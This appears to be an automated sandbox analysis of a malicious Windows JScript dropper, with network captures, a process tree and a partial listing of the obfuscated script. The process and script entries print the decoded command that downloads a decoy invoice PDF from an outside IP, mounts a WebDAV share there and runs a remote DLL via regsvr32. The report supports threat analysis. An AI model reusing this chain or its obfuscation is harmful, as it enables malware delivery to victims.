1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 00:40:26.336704969 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 00:40:26.336791992 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 00:40:26.336817026 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 11, 2025 00:40:26.336827993 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 00:40:26.336867094 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 00:40:26.336869001 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 00:40:26.336885929 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 00:40:26.336899042 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 00:40:26.336914062 CET	552	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 11, 2025 00:40:26.343203068 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	5460	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 00:40:28.038199902 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 00:40:28.818696022 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:40:28 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	18:40:21
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28098292552574015467.js"
Imagebase:	0x7ff7ddeb0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:40:21
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll
Imagebase:	0x7ff7900e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:40:21
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:40:22
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:40:26
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	18:40:26
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7900e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:40:27
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff75ddb0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	18:40:27
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	18:40:27
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	18:40:28
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1372,i,14120172395520166533,15037682456835421696,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function xavhor() {	xavhor() ➔ undefined
1	jrpyx = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var jwwpdcn = this[wotejknu + edsnz + ckbdkeo + vsbtfngzn + eofjgx + oovir + gycidmj + afkkz] ( this[lqtodc + cpixvom + cqhpixq + ckbdkeo + pcmiat + wotejknu + afkkz][ghisagg + ckbdkeo + eofjgx + edsnz + afkkz + eofjgx + zqcmxs + cumssa + uplpr + eofjgx + cqhpixq + afkkz] ( lqtodc + cpixvom + cqhpixq + ckbdkeo + pcmiat + wotejknu + afkkz + tjqjuiit + cpixvom + vcdawfytf + eofjgx + aabojyuv + aabojyuv ) [ouqjqbwye + eofjgx + lggvvhpt + ouqjqbwye + eofjgx + edsnz + nulgwcwz] ( gxwbztpil + ahdkvvppd + snmvytjwx + qnfblqtdz + wzxjdnlx + ghisagg + fogznyo + ouqjqbwye + ouqjqbwye + snmvytjwx + bjwge + foswycmq + wzxjdnlx + fogznyo + cpixvom + snmvytjwx + ouqjqbwye + juggga + ghisagg + thfqnokc + gycidmj + afkkz + ckbdkeo + thfqnokc + aabojyuv + atmwa + nehvrqpo + edsnz + gycidmj + eofjgx + aabojyuv + juggga + oovir + gycidmj + afkkz + eofjgx + ckbdkeo + gycidmj + edsnz + afkkz + pcmiat + thfqnokc + gycidmj + edsnz + aabojyuv + juggga + ccihyte + thfqnokc + cqhpixq + edsnz + aabojyuv + eofjgx ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( zhopxnt = 0 ; zhopxnt < jrpyx[aabojyuv + eofjgx + gycidmj + lggvvhpt + afkkz + vcdawfytf] ; ++ zhopxnt )
4	{
5	if ( jwwpdcn == jrpyx[zhopxnt] )
6	{
7	jwwpdcn = true;
8	break ;
9	}
10	}
11	if ( jwwpdcn !== true )
12	this[lqtodc + cpixvom + cqhpixq + ckbdkeo + pcmiat + wotejknu + afkkz][zmnnmuj + bihmukf + pcmiat + afkkz] ( );
13	this[lqtodc + cpixvom + cqhpixq + ckbdkeo + pcmiat + wotejknu + afkkz][ghisagg + ckbdkeo + eofjgx + edsnz + afkkz + eofjgx + zqcmxs + cumssa + uplpr + eofjgx + cqhpixq + afkkz] ( lqtodc + cpixvom + cqhpixq + ckbdkeo + pcmiat + wotejknu + afkkz + tjqjuiit + cpixvom + vcdawfytf + eofjgx + aabojyuv + aabojyuv ) [ckbdkeo + bihmukf + gycidmj] ( cqhpixq + ktrvqyrti + nulgwcwz + atmwa + nouedaya + cqhpixq + atmwa + wotejknu + thfqnokc + nejtmf + eofjgx + ckbdkeo + vsbtfngzn + vcdawfytf + eofjgx + aabojyuv + aabojyuv + tjqjuiit + eofjgx + axqssgtj + eofjgx + atmwa + efgajus + ghisagg + thfqnokc + ktrvqyrti + ktrvqyrti + edsnz + gycidmj + nulgwcwz + atmwa + ckmrs + oovir + gycidmj + nrixhnfk + thfqnokc + usvwxg + eofjgx + efgajus + lqtodc + eofjgx + cumssa + ouqjqbwye + eofjgx + avestnfl + bihmukf + eofjgx + vsbtfngzn + afkkz + atmwa + efgajus + zqcmxs + bihmukf + afkkz + jqmmxh + pcmiat + aabojyuv + eofjgx + atmwa + xneicrp + afkkz + eofjgx + ktrvqyrti + wotejknu + xneicrp + juggga + pcmiat + gycidmj + nrixhnfk + thfqnokc + pcmiat + cqhpixq + eofjgx + tjqjuiit + wotejknu + nulgwcwz + jvzuxmq + atmwa + vcdawfytf + afkkz + afkkz + wotejknu + ofgzgsv + nouedaya + nouedaya + xpgtki + eqexh + nibjiajcx + tjqjuiit + xpgtki + pfbjfluz + nibjiajcx + tjqjuiit + xpgtki + tjqjuiit + slkazqwy + gjhwfqh + refachvq + nouedaya + pcmiat + gycidmj + nrixhnfk + thfqnokc + pcmiat + cqhpixq + eofjgx + tjqjuiit + wotejknu + vcdawfytf + wotejknu + ckmrs + ggjzsr + ggjzsr + vsbtfngzn + afkkz + edsnz + ckbdkeo + afkkz + atmwa + xneicrp + afkkz + eofjgx + ktrvqyrti + wotejknu + xneicrp + juggga + pcmiat + gycidmj + nrixhnfk + thfqnokc + pcmiat + cqhpixq + eofjgx + tjqjuiit + wotejknu + nulgwcwz + jvzuxmq + ggjzsr + ggjzsr + cqhpixq + ktrvqyrti + nulgwcwz + atmwa + nouedaya + cqhpixq + atmwa + gycidmj + eofjgx + afkkz + atmwa + bihmukf + vsbtfngzn + eofjgx + atmwa + juggga + juggga + xpgtki + eqexh + nibjiajcx + tjqjuiit + xpgtki + pfbjfluz + nibjiajcx + tjqjuiit + xpgtki + tjqjuiit + slkazqwy + gjhwfqh + refachvq + hwfatc + nsdmaa + nsdmaa + nsdmaa + nsdmaa + juggga + nulgwcwz + edsnz + nrixhnfk + nejtmf + nejtmf + nejtmf + ckbdkeo + thfqnokc + thfqnokc + afkkz + juggga + ggjzsr + ggjzsr + cqhpixq + ktrvqyrti + nulgwcwz + atmwa + nouedaya + cqhpixq + atmwa + ckbdkeo + eofjgx + lggvvhpt + vsbtfngzn + nrixhnfk + ckbdkeo + nibjiajcx + slkazqwy + atmwa + nouedaya + vsbtfngzn + atmwa + juggga + juggga + xpgtki + eqexh + nibjiajcx + tjqjuiit + xpgtki + pfbjfluz + nibjiajcx + tjqjuiit + xpgtki + tjqjuiit + slkazqwy + gjhwfqh + refachvq + hwfatc + nsdmaa + nsdmaa + nsdmaa + nsdmaa + juggga + nulgwcwz + edsnz + nrixhnfk + nejtmf + nejtmf + nejtmf + ckbdkeo + thfqnokc + thfqnokc + afkkz + juggga + xpgtki + euocf + nsdmaa + refachvq + eqexh + bcyfqvl + eqexh + pfbjfluz + pfbjfluz + pfbjfluz + slkazqwy + slkazqwy + bcyfqvl + tjqjuiit + nulgwcwz + aabojyuv + aabojyuv, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll",0,false) ➔ 0
14	}
15	ghisagg = "E";
16	ghisagg = "r";
17	ghisagg = "n";
18	ghisagg = "p";
19	ghisagg = "E";
20	ghisagg = "d";
21	ghisagg = "B";
22	ghisagg = "U";
23	ghisagg = "G";
24	ghisagg = "U";
25	ghisagg = "s";
26	ghisagg = "g";
27	ghisagg = "H";
28	ghisagg = "J";
29	ghisagg = "C";
30	xpgtki = "M";
31	xpgtki = "q";
32	xpgtki = "Z";
33	xpgtki = "S";
34	xpgtki = "L";
35	xpgtki = "a";
36	xpgtki = "M";
37	xpgtki = "B";
38	xpgtki = "j";
39	xpgtki = "B";
40	xpgtki = "N";
41	xpgtki = "G";
42	xpgtki = "d";
43	xpgtki = "G";
44	xpgtki = "P";
45	xpgtki = "t";
46	xpgtki = "g";
47	xpgtki = "k";
48	xpgtki = "g";
49	xpgtki = "m";
50	xpgtki = "m";
51	xpgtki = "h";
52	xpgtki = "t";
53	xpgtki = "H";
54	xpgtki = "M";
55	xpgtki = "Z";
56	xpgtki = "a";
57	xpgtki = "i";
58	xpgtki = "s";
59	xpgtki = "n";
60	xpgtki = "A";
61	xpgtki = "n";
62	xpgtki = "M";
63	xpgtki = "s";
64	xpgtki = "B";
65	xpgtki = "R";
66	xpgtki = "N";
67	xpgtki = "b";
68	xpgtki = "1";
69	slkazqwy = "p";
70	slkazqwy = "W";
71	slkazqwy = "d";
72	slkazqwy = "j";
73	slkazqwy = "U";
74	slkazqwy = "M";
75	slkazqwy = "T";
76	slkazqwy = "Y";
77	slkazqwy = "z";
78	slkazqwy = "B";
79	slkazqwy = "x";
80	slkazqwy = "2";
81	avestnfl = "V";
82	avestnfl = "Y";
83	avestnfl = "H";
84	avestnfl = "p";
85	avestnfl = "B";
86	avestnfl = "r";
87	avestnfl = "b";
88	avestnfl = "T";
89	avestnfl = "t";
90	avestnfl = "u";
91	avestnfl = "g";
92	avestnfl = "o";
93	avestnfl = "N";
94	avestnfl = "q";
95	avestnfl = "n";
96	avestnfl = "Z";
97	avestnfl = "c";
98	avestnfl = "S";
99	avestnfl = "W";
100	avestnfl = "U";
101	avestnfl = "b";
102	avestnfl = "v";
103	avestnfl = "q";
104	nrixhnfk = "p";
105	nrixhnfk = "o";
106	nrixhnfk = "p";
107	nrixhnfk = "J";
108	nrixhnfk = "o";
109	nrixhnfk = "t";
110	nrixhnfk = "m";
111	nrixhnfk = "c";
112	nrixhnfk = "Z";
113	nrixhnfk = "M";
114	nrixhnfk = "R";
115	nrixhnfk = "u";
116	nrixhnfk = "x";
117	nrixhnfk = "X";
118	nrixhnfk = "Q";
119	nrixhnfk = "d";
120	nrixhnfk = "E";
121	nrixhnfk = "l";
122	nrixhnfk = "Q";
123	nrixhnfk = "K";
124	nrixhnfk = "c";
125	nrixhnfk = "n";
126	nrixhnfk = "v";
127	nejtmf = "s";
128	nejtmf = "p";
129	nejtmf = "b";
130	nejtmf = "Z";
131	nejtmf = "J";
132	nejtmf = "W";
133	nejtmf = "o";
134	nejtmf = "u";
135	nejtmf = "y";
136	nejtmf = "P";
137	nejtmf = "l";
138	nejtmf = "j";
139	nejtmf = "e";
140	nejtmf = "v";
141	nejtmf = "J";
142	nejtmf = "L";
143	nejtmf = "j";
144	nejtmf = "H";
145	nejtmf = "F";
146	nejtmf = "D";
147	nejtmf = "q";
148	nejtmf = "R";
149	nejtmf = "R";
150	nejtmf = "u";
151	nejtmf = "r";
152	nejtmf = "h";
153	nejtmf = "K";
154	nejtmf = "M";
155	nejtmf = "f";
156	nejtmf = "r";
157	nejtmf = "x";
158	nejtmf = "Z";
159	nejtmf = "w";
160	nejtmf = "w";
161	refachvq = "r";
162	refachvq = "D";
163	refachvq = "E";
164	refachvq = "I";
165	refachvq = "z";
166	refachvq = "l";
167	refachvq = "p";
168	refachvq = "O";
169	refachvq = "a";
170	refachvq = "E";
171	refachvq = "U";
172	refachvq = "x";
173	refachvq = "l";
174	refachvq = "u";
175	refachvq = "G";
176	refachvq = "z";
177	refachvq = "Q";
178	refachvq = "u";
179	refachvq = "z";
180	refachvq = "u";
181	refachvq = "O";
182	refachvq = "k";
183	refachvq = "w";
184	refachvq = "m";
185	refachvq = "K";
186	refachvq = "X";
187	refachvq = "B";
188	refachvq = "r";
189	refachvq = "J";
190	refachvq = "q";
191	refachvq = "D";
192	refachvq = "t";
193	refachvq = "b";
194	refachvq = "T";
195	refachvq = "Z";
196	refachvq = "M";
197	refachvq = "5";
198	ckmrs = "j";
199	ckmrs = "d";
200	ckmrs = "h";
201	ckmrs = "W";
202	ckmrs = "g";
203	ckmrs = "g";
204	ckmrs = "j";
205	ckmrs = "r";
206	ckmrs = "l";
207	ckmrs = "V";
208	ckmrs = "G";
209	ckmrs = "\"";
210	snmvytjwx = "T";
211	snmvytjwx = "T";
212	snmvytjwx = "K";
213	snmvytjwx = "J";
214	snmvytjwx = "X";
215	snmvytjwx = "A";
216	snmvytjwx = "w";
217	snmvytjwx = "A";
218	snmvytjwx = "r";
219	snmvytjwx = "J";
220	snmvytjwx = "J";
221	snmvytjwx = "E";
222	snmvytjwx = "U";
223	snmvytjwx = "r";
224	snmvytjwx = "Y";
225	snmvytjwx = "e";
226	snmvytjwx = "J";
227	snmvytjwx = "Y";
228	snmvytjwx = "x";
229	snmvytjwx = "Y";
230	snmvytjwx = "J";
231	snmvytjwx = "H";
232	snmvytjwx = "P";
233	snmvytjwx = "R";
234	snmvytjwx = "X";
235	snmvytjwx = "E";
236	fogznyo = "W";
237	fogznyo = "J";
238	fogznyo = "r";
239	fogznyo = "o";
240	fogznyo = "G";
241	fogznyo = "C";
242	fogznyo = "J";
243	fogznyo = "y";
244	fogznyo = "g";
245	fogznyo = "h";
246	fogznyo = "N";
247	fogznyo = "L";
248	fogznyo = "r";
249	fogznyo = "T";
250	fogznyo = "Y";
251	fogznyo = "b";
252	fogznyo = "G";
253	fogznyo = "G";
254	fogznyo = "L";
255	fogznyo = "O";
256	fogznyo = "W";
257	fogznyo = "y";
258	fogznyo = "V";
259	fogznyo = "K";
260	fogznyo = "r";
261	fogznyo = "U";
262	fogznyo = "Z";
263	fogznyo = "B";
264	fogznyo = "W";
265	fogznyo = "R";
266	fogznyo = "l";
267	fogznyo = "G";
268	fogznyo = "M";
269	fogznyo = "w";
270	fogznyo = "Z";
271	fogznyo = "b";
272	fogznyo = "Q";
273	fogznyo = "i";
274	fogznyo = "n";
275	fogznyo = "N";
276	fogznyo = "i";
277	fogznyo = "f";
278	fogznyo = "e";
279	fogznyo = "U";
280	nulgwcwz = "M";
281	nulgwcwz = "S";
282	nulgwcwz = "A";
283	nulgwcwz = "n";
284	nulgwcwz = "A";
285	nulgwcwz = "l";
286	nulgwcwz = "H";
287	nulgwcwz = "L";
288	nulgwcwz = "U";
289	nulgwcwz = "Q";
290	nulgwcwz = "d";
291	gxwbztpil = "s";
292	gxwbztpil = "H";
293	qnfblqtdz = "b";
294	qnfblqtdz = "M";
295	qnfblqtdz = "M";
296	qnfblqtdz = "L";
297	qnfblqtdz = "C";
298	qnfblqtdz = "z";
299	qnfblqtdz = "h";
300	qnfblqtdz = "c";
301	qnfblqtdz = "f";
302	qnfblqtdz = "g";
303	qnfblqtdz = "f";
304	qnfblqtdz = "a";
305	qnfblqtdz = "Z";
306	qnfblqtdz = "c";
307	qnfblqtdz = "Y";
308	cqhpixq = "U";
309	cqhpixq = "O";
310	cqhpixq = "Q";
311	cqhpixq = "z";
312	cqhpixq = "p";
313	cqhpixq = "Z";
314	cqhpixq = "Z";
315	cqhpixq = "s";
316	cqhpixq = "r";
317	cqhpixq = "b";
318	cqhpixq = "S";
319	cqhpixq = "d";
320	cqhpixq = "Q";
321	cqhpixq = "A";
322	cqhpixq = "B";
323	cqhpixq = "Z";
324	cqhpixq = "u";
325	cqhpixq = "h";
326	cqhpixq = "B";
327	cqhpixq = "q";
328	cqhpixq = "m";
329	cqhpixq = "Y";
330	cqhpixq = "f";
331	cqhpixq = "n";
332	cqhpixq = "C";
333	cqhpixq = "T";
334	cqhpixq = "F";
335	cqhpixq = "p";
336	cqhpixq = "I";
337	cqhpixq = "q";
338	cqhpixq = "C";
339	cqhpixq = "n";
340	cqhpixq = "x";
341	cqhpixq = "y";
342	cqhpixq = "i";
343	cqhpixq = "K";
344	cqhpixq = "U";
345	cqhpixq = "L";
346	cqhpixq = "k";
347	cqhpixq = "I";
348	cqhpixq = "I";
349	cqhpixq = "x";
350	cqhpixq = "P";
351	cqhpixq = "l";
352	cqhpixq = "c";
353	gycidmj = "n";
354	gycidmj = "W";
355	gycidmj = "c";
356	gycidmj = "a";
357	gycidmj = "z";
358	gycidmj = "B";
359	gycidmj = "l";
360	gycidmj = "L";
361	gycidmj = "h";
362	gycidmj = "Q";
363	gycidmj = "K";
364	gycidmj = "T";
365	gycidmj = "z";
366	gycidmj = "D";
367	gycidmj = "F";
368	gycidmj = "q";
369	gycidmj = "W";
370	gycidmj = "W";
371	gycidmj = "s";
372	gycidmj = "E";
373	gycidmj = "L";
374	gycidmj = "H";
375	gycidmj = "s";
376	gycidmj = "p";
377	gycidmj = "n";
378	gycidmj = "T";
379	gycidmj = "t";
380	gycidmj = "u";
381	gycidmj = "Q";
382	gycidmj = "V";
383	gycidmj = "n";
384	wzxjdnlx = "f";
385	wzxjdnlx = "D";
386	wzxjdnlx = "l";
387	wzxjdnlx = "G";
388	wzxjdnlx = "q";
389	wzxjdnlx = "g";
390	wzxjdnlx = "H";
391	wzxjdnlx = "j";
392	wzxjdnlx = "O";
393	wzxjdnlx = "K";
